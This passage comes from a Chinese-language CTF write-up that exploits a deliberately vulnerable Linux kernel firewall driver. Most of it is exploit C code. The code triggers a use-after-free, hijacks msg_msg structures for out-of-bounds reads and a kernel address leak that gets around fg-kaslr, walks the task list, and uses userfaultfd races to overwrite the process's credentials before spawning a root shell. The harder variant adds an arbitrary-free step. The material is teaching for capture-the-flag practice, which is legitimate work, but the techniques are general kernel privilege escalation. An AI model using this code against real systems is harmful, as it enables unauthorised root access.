void firewall_dup_rule(uint8_t idx,uint8_t type){ int ret=0; user_rule_t r; memset((void *)&r, 0 , sizeof(user_rule_t)); generate(buf, &r); r.type = type; r.idx = idx; ret = ioctl(fd,DUP_RULE,&r); //printf("[+] size: %#lx\n",sizeof(user_rule_t)); if(ret != SUCCESS){ printf("[-] firewall_dup_rule FAILED, ret_val is : %d\n",ret); }else{ printf("[+] firewall_dup_rule SUCCESS\n"); }}
void firewall_delete_rule(uint8_t idx,uint8_t type){ int ret=0; user_rule_t r; memset((void *)&r, 0 , sizeof(user_rule_t)); generate(buf, &r); r.type = type; r.idx = idx; ret = ioctl(fd,DELETE_RULE,&r); //printf("[+] size: %#lx\n",sizeof(user_rule_t)); if(ret != SUCCESS){ printf("[-] firewall_delete_rule FAILED, ret_val is : %d\n",ret); }else{ printf("[+] firewall_delete_rule SUCCESS\n"); }}
void firewall_edit_rule(uint8_t idx,uint8_t type){
char iface[0x10];memset(iface,0x61,0x10); char name[0x10];memset(name,0x62,0x10);
int ret=0; user_rule_t r; memset((void *)&r, 0 , sizeof(user_rule_t)); generate(buf, &r); r.type = type; r.idx = idx;
memcpy(r.iface,iface,16); memcpy(r.name,name,16);
ret = ioctl(fd,EDIT_RULE,&r); if(ret != SUCCESS){ printf("[-] firewall_edit_rule FAILED, ret_val is : %d\n",ret); }else{ printf("[+] firewall_edit_rule SUCCESS\n"); }}
void evil_edit(uint8_t idx, char *buffer, int type, int invalidate){ int ret; user_rule_t rule; memset((void *)&rule, 0, sizeof(user_rule_t)); generate(buffer, (user_rule_t *)&rule); rule.idx = idx; rule.type = type; if (invalidate) { strcpy((void *)&rule.ip, "invalid"); strcpy((void *)&rule.netmask, "invalid"); } ret = ioctl(fd, EDIT_RULE, (unsigned long)&rule); if(ret != SUCCESS){ printf("[-] evil_edit FAILED, ret_val is : %d\n",ret); }else{ printf("[+] evil_edit SUCCESS\n"); }}
uint64_t create_message_queue(key_t key,int msgflag){ /* A Wrapper to msgget */ uint64_t ret; if ((ret = msgget(key, msgflag)) == -1) { perror("msgget failure"); exit(-1); } printf("[+] Create queue SUCCESS\n"); return ret;}
void send_message(int msqid, void *msgp, size_t msgsz, int msgflg){ /* A Wrapper to msgsnd */ if (msgsnd(msqid, msgp, msgsz, msgflg) == -1) { perror("msgsend failure"); return; } printf("[+] msgsnd() SUCCESS\n"); return;
}
void read_from_message_queue(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg){ if (msgrcv(msqid, msgp, msgsz, msgtyp, msgflg) < 0) { perror("msgrcv"); exit(-1); } return;}
void heap_spray_shmem(){ int shmid; char *shmaddr; for (int i = 0; i < 0x500; i++) { if ((shmid = shmget(IPC_PRIVATE, 100, 0600)) == -1) { perror("shmget error"); exit(-1); } shmaddr = shmat(shmid, NULL, 0); if (shmaddr == (void*)-1) { perror("shmat error"); exit(-1); } } printf("[+] Spray shmem SUCCESS\n");}
/* -------------------- register userfault -------------------- */#define FAULT_PAGE 0x61610000static void register_userfault(void *handler){ struct uffdio_api ua; struct uffdio_register ur;
uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC |O_NONBLOCK); CHECK(uffd); ua.api = UFFD_API; ua.features=0; CHECK(ioctl(uffd, UFFDIO_API, &ua)); //mmap [FAULT_PAGE,FAULT_PAGE+0x1000] 后此时未初始化,访问会触发缺页 if (mmap((void *)FAULT_PAGE,PAGE_SIZE, PROT_READ|PROT_WRITE,MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1,0)!=(void *)FAULT_PAGE){ perror("register_userfault() mmap"); exit(EXIT_FAILURE); } printf("[+] mmap(%#lx,%#lx)\n",FAULT_PAGE,PAGE_SIZE); ur.range.start =(uint64_t)FAULT_PAGE; //要监视的区域 ur.range.len=PAGE_SIZE; //长度 ur.mode = UFFDIO_REGISTER_MODE_MISSING; CHECK(ioctl(uffd, UFFDIO_REGISTER, &ur));////注册缺页错误处理,当发生缺页时,程序会阻塞,此时,我们在另一个线程里操作 , 这个ur对应一个uffd printf("[*] register_userfault() %#lx success\n\n",FAULT_PAGE); //开一个线程,接收错误的信号,然后处理,如果这里被注释掉,则触发userfault的线程会一直卡死 //本题在handler中完成arw pthread_t s = pthread_create(&thr, NULL,handler, (void*)uffd); //uffd作为参数传过去 if (s!=0) printf("[-] handler pthread_create failed");}/* -------------------- register userfault -------------------- */
//用于恢复userfault的handler函数,可以根据具体需求修改/* -------------------- userfault handler -------------------- */void* handler(void *arg){ struct uffd_msg uf_msg; unsigned long uffd = (unsigned long)arg; struct uffdio_copy uf_copy; struct uffdio_range uf_range; puts("[+] arw handler created"); puts("[+] restore stuck begin"); struct pollfd pollfd; int nready; pollfd.fd = uffd; pollfd.events = POLLIN;
uf_range.start = FAULT_PAGE; uf_range.len = PAGE_SIZE;

//监听事件,poll会阻塞,直到收到缺页错误的消息 while(poll(&pollfd, 1, -1) > 0){ if(pollfd.revents & POLLERR || pollfd.revents & POLLHUP) { perror("polling error"); exit(-1); } // 读取事件 nready = read(uffd, &uf_msg, sizeof(uf_msg)); if (nready <= 0) { puts("[-]uf_msg error!!"); } // 判断消息的事件类型 if(uf_msg.event != UFFD_EVENT_PAGEFAULT) { perror("unexpected result from event"); exit(-1); } // 初始化buffer,大小为pagesize,并且设置对应位置的指针,准备用来改cred * 恢复userfault的区域 char uf_buffer[0x1000]; memset(uf_buffer, 0, sizeof(uf_buffer)); memcpy((void *)(uf_buffer + 0x1000-0x30), (void *)&init_cred, 8); memcpy((void *)(uf_buffer + 0x1000-0x30 + 8), (void *)&init_cred, 8);
// 设置struct uffdio_copy 恢复userfault uf_copy.src = (unsigned long)uf_buffer; uf_copy.dst = FAULT_PAGE; uf_copy.len = 0x1000; uf_copy.mode = 0; uf_copy.copy = 0;
char buffer[0x2000]={0}; struct msg_msg evil; memset(&evil,0,sizeof(struct msg_msg)); evil.m_list.next = (void *)0xdeadbeef; evil.m_list.prev = (void *)0xdeadbeef; evil.m_type = 1; evil.m_ts = 0x1008-0x30; evil.next = (void *)attack_addr; // 设置msg_msg.next指向要attack的task_struct,也即是当前进程的task_struct memcpy(buffer,&evil,sizeof(struct msg_msg )); evil_edit(1,buffer,OUTBOUND,0); // UAF writea,劫持msg_msg结构
if(ioctl(uffd, UFFDIO_COPY, (unsigned long)&uf_copy) == -1) // wake it up { perror("uffdio_copy error"); exit(-1); } //debug(); if (ioctl(uffd, UFFDIO_UNREGISTER, (unsigned long)&uf_range) == -1) { perror("error unregistering page for userfaultfd"); } if (munmap((void *)FAULT_PAGE, 0x1000) == -1) { perror("error on munmapping race page"); } return 0;
} //监听事件,poll会阻塞,直到收到缺页错误的消息 // nready = poll(&pollfd, 1, -1); // if (nready != 1) // puts("[-] Wrong pool return value"); // nready = read(uffd, &msg, sizeof(msg)); // if (nready <= 0) { // puts("[-]msg error!!"); // } // printf("[+] read page fault msg\n"); // char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); // if (page == MAP_FAILED) // puts("[-]mmap page error!!"); // struct uffdio_copy uc; // //初始化page页 // memset(page, 0, sizeof(page)); // uc.src = (unsigned long)page; // //出现缺页的位置 // uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);; // uc.len = PAGE_SIZE; // uc.mode = 0; // uc.copy = 0; // ioctl(uffd, UFFDIO_COPY, &uc);
// puts("[+] handler done!!"); // return NULL; return 0;}/* -------------------- userfault handler-------------------- */




int main(){ msg * message = (msg *)msg_buffer; uint64_t size; uint64_t qid; fd = open("/dev/firewall",O_RDWR); CHECK(fd); printf("[+] Open SUCCESS\n"); printf("[+] sizeof msg_msg: %#lx\n",sizeof(struct msg_msg)); // Create firewall_add_rule(0,INBOUND); // copy to OUTBOUND list firewall_dup_rule(0,INBOUND); // Create msg queue qid = create_message_queue(IPC_PRIVATE, 0666 | IPC_CREAT); printf("[+] qid: %ld\n",qid);



// Trigger UAF(kmalloc-4k) firewall_delete_rule(0,INBOUND);
// 此时size落在kmalloc-4k,触发之后从kmalloc-4k中重新取出对应的结构,此时变成了 struct msg_msg,并且紧接着的是mtext size = 0x1010; message->mtype = 1; memset(message->mtext,0x61,size); send_message(qid,message,size - 0x30,0); //msgsz = full_size - sizeof(struct msg_msg)
// Spray shm_file_data(kmalloc-32) by shmat // Bypass fg-kaslr :) heap_spray_shmem();
// Prepare for OOB read. // Ceate an evil msg_msg, in order to hijack msg_msg ctl structure in Kernel. struct msg_msg evil; size = 0x1500; memset(&evil,0,sizeof(struct msg_msg)); evil.m_list.next = (void *)0x4141414141414141; evil.m_list.prev = (void *)0x4242424242424242; evil.m_type = 1; evil.m_ts = size; memset(msg_buffer, 0, sizeof(msg_buffer)); memcpy(msg_buffer, (void *)&evil, 0x20); // Copy first 0x20 bytes ctl structure, modify the struct msg_msg ctl structure evil_edit(0, msg_buffer, OUTBOUND, 1); // UAF edit, firewall_edit_rule() failed , but before it exits, we successfully edit first 0x20 bytes



// After evil_edit(), we successfully change the m_ts to 0x1500! memset(recieved, 0, sizeof(recieved)); // Because we hijack the m_ts to a huge value, OOB read happended here. read_from_message_queue(qid, recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR); // Read from msg queue
//printf("recieved: %p\n",recieved); for (int i = 0; i < size / 8; i++) { if ((*(uint64_t *)(recieved + i * 8) & 0xfff) == 0x7a0) { init_ipc_ns = *(uint64_t *)(recieved + i * 8); //ffffffff81c3d7a0 D init_ipc_ns printf("[+] hit addr: %#lx\n",(uint64_t)(recieved + i * 8)); break; } if(i == ((size / 8)-1) ){ puts("[-] Dump \"init_ipc_ns\" from msg Queue FAILED"); exit(0); } }
kernel_base = init_ipc_ns - (0xffffffff81c3d7a0 - 0xffffffff81000000); init_task = kernel_base + (0xffffffff81c124c0 - 0xffffffff81000000); init_cred = kernel_base + (0xffffffff81c33060 - 0xffffffff81000000); printf("[*] kernel_base: %#lx\n",kernel_base); printf("[*] init_task: %#lx\n",init_task); printf("[*] init_cred: %#lx\n",init_cred);


// 再触发一次edit,此时改msg_msg的next指针指向init_task + 0x290 // 目的是在通过多次msgrcv来扫描链表,此时链表next指针(struct msg_msgseg *next) 被劫持指向了init_task // 那么实际上我们就是在扫描系统的task链表,直到找到当前进程对应的task_struct memset((void *)&evil, 0, sizeof(struct msg_msg)); memset(recieved, 0, sizeof(recieved)); memset(msg_buffer, 0, sizeof(msg_buffer)); evil.m_type = 1; evil.m_ts = size; evil.next = (void *)init_task + 0x298 - 0x8; // -0x8是因为要保证每一次的struct msg_msgseg只利用一次,所以让他的next指针域为NULL,这0x8是留给next的 memcpy(msg_buffer, (void *)&evil, sizeof(struct msg_msg)); evil_edit(0, msg_buffer, OUTBOUND, 0); printf("[+] recieved: %p\n",recieved);
read_from_message_queue(qid, recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR); //读一次
int32_t pid; uint64_t prev, curr; memcpy((void*)&prev, (void *)(recieved + 0xfe0), 8); memcpy((void*)&pid, (void *)(recieved + 0x10d8), 4); printf("%d %d\n", pid, getpid()); // 在while中多次调用msgrcv顺着init_task扫描链表,直到找到当前进程对应的task_struct while (pid != getpid()) {
curr = prev - 0x298; evil.next = (void *)prev - 0x8; // 更新next指针为task链表上的下一个元素 memcpy(msg_buffer, (void *)&evil, sizeof(struct msg_msg)); evil_edit(0, msg_buffer, OUTBOUND, 0); read_from_message_queue(qid, recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR); memcpy((void*)&prev, (void *)(recieved + 0xfe0), 8); memcpy((void*)&pid, (void *)(recieved + 0x10d8), 4); printf("%d %d\n", pid, getpid()); } printf("[+] Found current task_struct: %#lx\n",curr);

// UAF kmalloc-4k firewall_add_rule(1,INBOUND); firewall_dup_rule(1,INBOUND); firewall_delete_rule(1,INBOUND); memset(msg_buffer, 0, sizeof(msg_buffer)); /*
typedef struct { long mtype; char mtext[1]; }msg;
*/ msg *root; uint64_t root_size = 0x1010;
void *evil_page = mmap((void *)FAULT_PAGE-PAGE_SIZE, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
// 前8bytes要放mtype,必须是mmap之后的合法内存 // 后面的char mtext[]将会落在register_userfault中mmap的未初始化的内存区域[FAULT_PAGE,FAULT_PAGE+PAGE_SIZE] root = (msg *)(FAULT_PAGE - 0x8); root->mtype = 1;
// 要劫持的地方是task_struct偏移为0x538 和 0x540 的 cred *real_cred 和 cred *cred 指针 // 在handler中完成任意写 register_userfault(handler);
attack_addr = curr + 0x538 - 0x8; printf("[+] attack_addr: %#lx\n",attack_addr); sleep(1); send_message(qid,root,root_size - 0x30,0);
pthread_join(thr, NULL); // 等待用于arw的handler返回
if(getuid() == 0){ system("echo \"Welcome to root sapce!\""); system("/bin/sh"); } else{ puts("[-] root failed"); }
}



3


wall-of-perdition


本题是上一题的进阶版本。
 
主要改变在:
typedef struct{ char iface[16]; char name[16]; uint32_t ip; uint32_t netmask; uint16_t proto; uint16_t port; uint8_t action; uint8_t is_duplicated; #ifdef EASY_MODE char desc[DESC_MAX]; #endif} rule_t;

Rule_t中没有那个0x800大小的desc了,这样导致我们的对象大小发生了变化,在内核中变成了0x30大小,属于kmalloc-64 。
 
前面的利用过程都有点像,不同的是我找到了一个比官网WP更稳定的内核全局数据 dynamic_kobj_ktype 方便在不进行 shm_file_data 喷射的情况下拿到内核基地址。
 
这一部分利用过程比较复杂。我会配合原文的图片进行说明。

漏洞利用过程


在main函数的一开始,我们先注册两个userfaultfd,起两个handler,这两个我们后面都会用到。
fd = open("/dev/firewall",O_RDWR);
register_userfault_1(page_fault_handler_1);register_userfault_2(page_fault_handler_2);

之后我们构造创建两个msg队列一个UAF
qid = create_message_queue(IPC_PRIVATE, 0666 | IPC_CREAT);printf("[+] Create first qid: %ld\n",qid);
// 再创建一个新的队列qid_1 = create_message_queue(IPC_PRIVATE, 0666 | IPC_CREAT);printf("[+] Create second qid: %d\n",qid_1);
firewall_add_rule(0,INBOUND);firewall_dup_rule(0,INBOUND);firewall_delete_rule(0,INBOUND);


进行内核堆排布

send_message(qid,0x40,'A'); //msgsz = full_size - sizeof(struct msg_msg)send_message(qid_1,0x40,0x21); //msgsz = full_size - sizeof(struct msg_msg)send_message(qid_1,0x1ff8,'A'); //msgsz = full_size - sizeof(struct msg_msg)printf("\n[+] Create two msg_msg and one msg_msgseg DONE\n");

 
此时,在针对qid发送消息的时候,会将我们释放的rule从kmalloc-64中再拉回来,变成了上方的msg_msg#1。而通过对这个msg_msg的m_ts的劫持,进而可以实现任意(越界)读。
// OOB Readstruct msg_msg evil;size = 0x2000;memset(&evil,0,sizeof(struct msg_msg));evil.m_list.next = (void *)0x4141414141414141;evil.m_list.prev = (void *)0x4242424242424242;evil.m_type = 1;evil.m_ts = size;memset(msg_buffer, 0, sizeof(msg_buffer));memcpy(msg_buffer, (void *)&evil, 0x20); evil_edit(0, msg_buffer, OUTBOUND, 1); memset(recieved, 0, sizeof(recieved));read_from_message_queue(qid, recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);

通过越界读,我们可以读到以下内容:

下方的msg_msg#2的地址以及其对应的msg_msg队列相关的指针。需要用于后期在任意地址释放构造恶意链表时修正msg_msg的链表指针。

下方的全局不受fg-kaslr影响偏移的全局数据。我这里找到一个比原文更稳定的:dynamic_kobj_ktype 用于泄漏内核地址。

dump对应的数据:
sleep(1);for (int i = 0; i < size / 8; i++){ if ( ((*(uint64_t *)(recieved + i * 8) & 0xffff) == 0x4242) && (!queue || !large_msg)) { //第一个msg_msg的prev指针对应的msg queue queue = ((uint64_t *)recieved)[i - 5]; // -0x28 large_msg = ((uint64_t *)recieved)[i - 6]; ; // -0x30 //printf("[*] hit %#lx\n",recieved + i * 8);debug(); } if ((*(uint64_t *)(recieved + i * 8) & 0xfffff) == 0x159a0) { sysfs_bin_kfops_ro = *(uint64_t *)(recieved + i * 8); printf("[+] hit sysfs_bin_kfops_ro: %#lx\n",(uint64_t)(recieved + i * 8)); kernel_base = sysfs_bin_kfops_ro - (0xffffffffa82159a0 - 0xffffffffa7800000); break; }else if((*(uint64_t *)(recieved + i * 8) & 0xfffff) == 0x41600){ dynamic_kobj_ktype = *(uint64_t *)(recieved + i * 8); printf("[+] hit dynamic_kobj_ktype: %#lx\n",(uint64_t)(recieved + i * 8)); kernel_base = dynamic_kobj_ktype - (0xffffffffa4441600 - 0xffffffffa3800000); break; } if(i == ((size / 8)-1) ){ puts("[-] Dump \"sysfs_bin_kfops_ro | dynamic_kobj_ktype | \" from msg Queue FAILED"); exit(0); }}init_task = kernel_base + (0xffffffff81c124c0 - 0xffffffff81000000);init_cred = kernel_base + (0xffffffff81c33060 - 0xffffffff81000000);printf("[*] kernel_base: %#lx\n",kernel_base);printf("[*] init_task: %#lx\n",init_task);printf("[*] init_cred: %#lx\n",init_cred);printf("[*] queue: %#lx\n",queue);printf("[*] large_msg: %#lx\n",large_msg);if(!queue || !large_msg){ printf("[-] !queue || !large_msg\n"); exit(-1);}

接下来像上一题一样,扫描task_struct链表,找到当前进程的task_struct,读出pid,cred *。
// 再触发一次edit,此时改msg_msg的next指针指向init_task + 0x290 // 目的是在通过多次msgrcv来扫描链表,此时链表next指针(struct msg_msgseg *next) 被劫持指向了init_task // 那么实际上我们就是在扫描系统的task链表,直到找到当前进程对应的task_struct memset((void *)&evil, 0, sizeof(struct msg_msg)); memset(recieved, 0, sizeof(recieved)); memset(msg_buffer, 0, sizeof(msg_buffer)); evil.m_type = 1; evil.m_ts = size; evil.next = (void *)init_task + 0x298 - 0x8; // -0x8是因为要保证每一次的struct msg_msgseg只利用一次,所以让他的next指针域为NULL,这0x8是留给next的 memcpy(msg_buffer, (void *)&evil, sizeof(struct msg_msg)); evil_edit(0, msg_buffer, OUTBOUND, 0); printf("[+] recieved: %p\n",recieved); //debug();
read_from_message_queue(qid, recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR); //读一次
int32_t pid; uint64_t prev, curr; memcpy((void*)&prev, (void *)(recieved + 0xfe0), 8); memcpy((void*)&pid, (void *)(recieved + 0x10d8), 4); printf("%d %d\n", pid, getpid()); // 在while中多次调用msgrcv顺着init_task扫描链表,直到找到当前进程对应的task_struct while (pid != getpid()) {
curr = prev - 0x298; evil.next = (void *)prev - 0x8; // 更新next指针为task链表上的下一个元素 memcpy(msg_buffer, (void *)&evil, sizeof(struct msg_msg)); evil_edit(0, msg_buffer, OUTBOUND, 0); read_from_message_queue(qid, recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR); memcpy((void*)&prev, (void *)(recieved + 0xfe0), 8); memcpy((void*)&pid, (void *)(recieved + 0x10d8), 4); printf("%d %d\n", pid, getpid()); } printf("[+] Found current task_struct: %#lx\n",curr); memcpy((void*)&cred_struct, (void *)(recieved + 0x1a8+0x10d8), 8); printf("[+] Leaked current task cred struct: 0x%lx\n", cred_struct);

接着上面的步骤,我们通过从qid_1的队列中不设置MSG_COPY的读取消息,让我们的msg_msg出队后被放入kmalloc-4k。
// 进行读取,注意⚠️,此时我们没有设置MSG_COPY。此时的处理会正常的对当前msg进行删除出队,更新队列状态,最后free(msg),注意,此时是不会预先分配一个copy的 // 在这里一定要保证我们的msg_msg指针的合法性,不能像设置了MSG_COPY时对指针进行破坏,因为这里我们涉及了队列操作。
/* 初始状态
msq -> msg_msg_1 -> msg_msg_2 -> msg_msgseg_2 */
/* 首先通过msgrcv释放队列中的第一个msg_msg
kmalloc-64 -> msg_msg_1
msq -> msg_msg_2 -> msg_msgseg_2 */ read_from_message_queue(qid_1, recieved_1, 0x1ff8, 1, IPC_NOWAIT | MSG_NOERROR);

/* 接下来释放第二个msg_msg以及其msg_msgseg
kmalloc-64 -> msg_msg_1
kmalloc-4k -> msg_msgseg_2 -> msg_msg_2
msq -> NULL */ read_from_message_queue(qid_1, recieved_1, 0x1ff8, 1, IPC_NOWAIT | MSG_NOERROR); printf("[+] All msg_msg and msg_msgseg freed\n");


可以看到,通过两次读取我们将qid_1队列中的msg_msg以及msg_msgseg进行了释放。
 
在这些工作都结束后,我们新开一个线程,调用 allocate_msg1
pthread_create(&tid[2], NULL, allocate_msg1, NULL);

在allocate_msg1 中,再创建一个新队列qid_2。然后取出被free到kmalloc-4k的。通过 msgsnd操作,我们将msgsnd要发送的用户态的数据的地址设置为:page_1 + PAGE_SIZE - 0x10 ,那么他在copy_from_user的时候会被卡在未初始化的 page_1 + PAGE_SIZE 也就是 FAULT_PAGE 。
void *allocate_msg1(void *_){ mmap((void *)page_1, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0); printf("[allocate_msg1] mmap(%#lx,%#lx)\n",page_1,PAGE_SIZE); printf("[allocate_msg1] Message buffer allocated at 0x%lx\n", page_1 + PAGE_SIZE - 0x10); // 再创建一个新的队列 if ((qid_2 = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1) // [2] { perror("msgget"); exit(1); }
memset((void *)page_1, 0, PAGE_SIZE);
((uint64_t *)(page_1))[0xff0 / 8] = 1; // 从kmalloc-4k中取出被释放的msg_msgseg、msg_msg /*
free时:msg_msg -> msg_msgseg
取出后形成如下链表(因为LIFO):
msg_msgseg(NOW new_msg_msg) -> msg_msg(NOW new_msg_msgseg)
*/
// 当msgsnd触碰到page_1+PAGE_SIZE时,会在copy_from_user的位置卡死,导致copy_from_user被挂起 if (msgsnd(qid_2, (void *)page_1 + PAGE_SIZE - 0x10, 0x1ff8 - 0x30, 0) < 0) // [3] { puts("msgsend failed!"); perror("msgsnd"); exit(1); }
puts("[allocate_msg1] Message sent, *next overwritten!");}
 
可以看到,由于SLAB分配器LIFO的性质,我们 msgsnd 的时候首先把先前 msg_msg#2的msg_msgseg从kmalloc-4k中取出来了,接着申请出的是先前的msg_msg#2。等于说这个链表在一次free一次重新申请之后反向了。然后放置上了对应的控制头数据,然而当我们继续向下放置消息数据的时候,就会触碰到 FAULT_PAGE,也就是 page_1 + PAGE_SIZE的位置。
 
此时copy_from_user被挂起,接下来,userfaultfd_1中启动的page_fault_handler_1捕捉到对应地址为FAULT_PAGE的userfault 。
 
进入while大循环首先确认我们捕捉到的地址是否是我们想要的 FAULT_PAGE 的地址。
void* page_fault_handler_1(void *arg){ struct uffd_msg uf_msg; unsigned long uffd = (unsigned long)arg; struct uffdio_copy uf_copy; struct uffdio_range uf_range; //debug(); struct pollfd pollfd; int nready; pollfd.fd = uffd; pollfd.events = POLLIN;
uf_range.start = FAULT_PAGE; uf_range.len = PAGE_SIZE; uint64_t page_fault_location; puts("[PFH 1] Started!");

//监听事件,poll会阻塞,直到收到缺页错误的消息 while(poll(&pollfd, 1, -1) > 0){ if(pollfd.revents & POLLERR || pollfd.revents & POLLHUP) { perror("polling error"); exit(-1); } // 读取事件 nready = read(uffd, &uf_msg, sizeof(uf_msg)); if (nready <= 0) { puts("[-]uf_msg error!!"); } // 判断消息的事件类型 if(uf_msg.event != UFFD_EVENT_PAGEFAULT) { perror("unexpected result from event"); exit(-1); }
page_fault_location = (uint64_t)uf_msg.arg.pagefault.address;
if((uint64_t)page_fault_location == page_1+PAGE_SIZE){ printf("[page_fault_handler_1] Catch the Page Fault in %#lx\n",page_1+PAGE_SIZE);
// 初始化buffer,大小为pagesize,并且设置对应位置的指针,准备用来改cred * 恢复userfault的区域 char uf_buffer[0x1000]; msg_msg *msg = (msg_msg *)(uf_buffer +0x1000-0x40); msg->m_type = 0x1; msg->m_ts = 0x1000; msg->next = (uint64_t)(cred_struct - 0x8); //把next指针改成指向当前task_struct的cred结构
// 设置struct uffdio_copy 恢复userfault uf_copy.src = (unsigned long)uf_buffer; uf_copy.dst = FAULT_PAGE; uf_copy.len = 0x1000; uf_copy.mode = 0; uf_copy.copy = 0;
for(;;){ // 如果release_pfh_1被设置了再恢复,否则一直阻塞在这里 if(release_pfh_1) { if(ioctl(uffd, UFFDIO_COPY, (unsigned long)&uf_copy) == -1) // wake it up { perror("uffdio_copy error"); exit(-1); } //debug(); if (ioctl(uffd, UFFDIO_UNREGISTER, (unsigned long)&uf_range) == -1) { perror("error unregistering page for userfaultfd"); } if (munmap((void *)FAULT_PAGE, 0x1000) == -1) { perror("error on munmapping race page"); } } }
} else{ printf("[-] Catch Page Fault FAILED: %#lx\n",page_fault_location); } return 0;
} return 0;}

在本函数中,我们会卡在 if(release_pfh_1) 这里,我们想要达到的目的是在恢复这个pagefault之后,使next指针指向cred结构体地址-0x8,相当于伪造当前进程的cred结构体为一个fake msg_msgseg。

通过任意地址free,构造恶意链表,劫持cred结构体


接下来,我们的重点放在如何构造任意地址free。我们调用 arb_free 函数,在此函数中首先进行一次UAF write,劫持我们堆上的第一个msg_msg的next指针,让他也指向对应的msg_msgseg。
 
 
然后调用msgrcv,导致上图的MSG #0和最右侧的msg_msgseg被free掉。
void arb_free(int idx, uint64_t target){ msg_msg *msg = (msg_msg *)malloc(0x100); void *memdump = malloc(0x2000);
// 这里要重新修复对应的链表表头,此时queue就是我们一开始获取的第二个msg_msg所属的队列 // target是一开始msg_msg2 -> msg_msgseg2 中 msg_msgseg2 的地址 printf("[+] Trigger arb_free, target: %#lx\n",target);
msg->m_list.next = queue; msg->m_list.prev = queue; msg->m_type = 1; msg->m_ts = 0x10; msg->next = target;

evil_edit(idx, msg, OUTBOUND, 0);
puts("[*] Triggering arb free..."); // 此时,重新申请出来的prev msg_msg被free了。 /*
最终导致两个都指向msg_msgseg
msg_msg_1 ------> msg_msgseg (prev msg_msg)
msg_msg_2 ------> msg_msgseg (prev msg_msg) */
// free msg_msg_1、msg_msgseg msgrcv(qid, memdump, 0x10, 1, IPC_NOWAIT | MSG_NOERROR); puts("[+] Target freed!");
free(memdump); free(msg);}

注意,指向msg_msgseg的除了正常的msg_msg(qid_2),还有第一次的msg_msg(qid)中的next指针。
 
也就是说,这个操作结束之后,msg_msg(qid_2)的next指针指向了一个被free的区域(kmalloc-4k),并且他认为这是他的msg_msgseg。
 
 
接下来,我们再起一个 allocate_msg2 。
 
在本函数中,我们再新建一个队列qid_3 。同时再开一个FAULT_PAGE_2再构造另一个pagefault。(page_2),然后调用msgsnd卡住这个copy_from_user。
 
注意,上一张图被我们free到kmalloc-4k的会被再次申请出来作为msg_msg(下图中蓝色的),那么此时我们就构造出两个msg_msg链式相连的结构了。
 

void* page_fault_handler_2(void *arg){ struct uffd_msg uf_msg; unsigned long uffd = (unsigned long)arg; struct uffdio_copy uf_copy; struct uffdio_range uf_range; //debug(); struct pollfd pollfd; int nready; pollfd.fd = uffd; pollfd.events = POLLIN;
uf_range.start = FAULT_PAGE_2; uf_range.len = PAGE_SIZE; uint64_t page_fault_location; puts("[PFH 2] Started!");

//监听事件,poll会阻塞,直到收到缺页错误的消息 while(poll(&pollfd, 1, -1) > 0){ if(pollfd.revents & POLLERR || pollfd.revents & POLLHUP) { perror("polling error"); exit(-1); } // 读取事件 nready = read(uffd, &uf_msg, sizeof(uf_msg)); if (nready <= 0) { puts("[-]uf_msg error!!"); } // 判断消息的事件类型 if(uf_msg.event != UFFD_EVENT_PAGEFAULT) { perror("unexpected result from event"); exit(-1); }
page_fault_location = (uint64_t)uf_msg.arg.pagefault.address;
if((uint64_t)page_fault_location == page_2+PAGE_SIZE){ printf("[page_fault_handler_2] Catch the Page Fault in %#lx\n",page_2+PAGE_SIZE);
// 初始化buffer,大小为pagesize,并且设置对应位置的指针,准备用来改cred * 恢复userfault的区域 char uf_buffer[0x2000]; memset(uf_buffer, 0, PAGE_SIZE);
release_pfh_1 = 1; //重启第一个page fault的恢复工作
sleep(1); // 等第一个page_fault_handler_1完成对于next指针的劫持,指向cred

// 设置struct uffdio_copy 恢复userfault uf_copy.src = (unsigned long)uf_buffer; uf_copy.dst = FAULT_PAGE_2; uf_copy.len = 0x1000; uf_copy.mode = 0; uf_copy.copy = 0;
// 直接恢复 if(ioctl(uffd, UFFDIO_COPY, (unsigned long)&uf_copy) == -1) // wake it up { perror("uffdio_copy error"); exit(-1); } //debug(); if (ioctl(uffd, UFFDIO_UNREGISTER, (unsigned long)&uf_range) == -1) { perror("error unregistering page for userfaultfd"); } if (munmap((void *)FAULT_PAGE, 0x1000) == -1) { perror("error on munmapping race page"); }
} else{ printf("[-] Catch Page Fault FAILED: %#lx\n",page_fault_location); } return 0;
} return 0;}

而在 page_fault_handler_2 会重启第一个pagefault的恢复工作。
 
回忆一下,我们第一个page fault是卡在从用户态向内核态队列msg_msg中拷贝数据的过程。
 
当此过程恢复后,此时next指针是指向PAGE_FAULT_2对应的msg_msg的。也就是说会发生从用户态向蓝色的区域对应的msg_msg拷贝数据。如果我们控制好拷贝的数据,那么可以实现修改next指针,指向cred结构体。
 
 
在 page_fault_handler_2 中等待 page_fault_handler_1 恢复完毕。然后再对PAGE_FAULT_2进行恢复。
 
当 page_fault_handler_2 运行完了,PAGE_FAULT_2也被恢复。针对PAGE_FAULT_2的msgsnd中的copy_from_user操作接触阻塞继续执行,此时由于我们已经劫持了next = cred,那么在拷贝到msg_msgseg的时候,实际上就转换成了了针对cred结构体的劫持(写操作)。此时的cred结构体像一个fake msg_msgseg。
 
至此,整个流程结束。
 
这一部分由于exp实在太长,而且很乱,我就不放上来自己完整的了。如果想学习的可以去看官方的exp(链接已在开头给出),实在是比我写的整齐太多。


4


总结


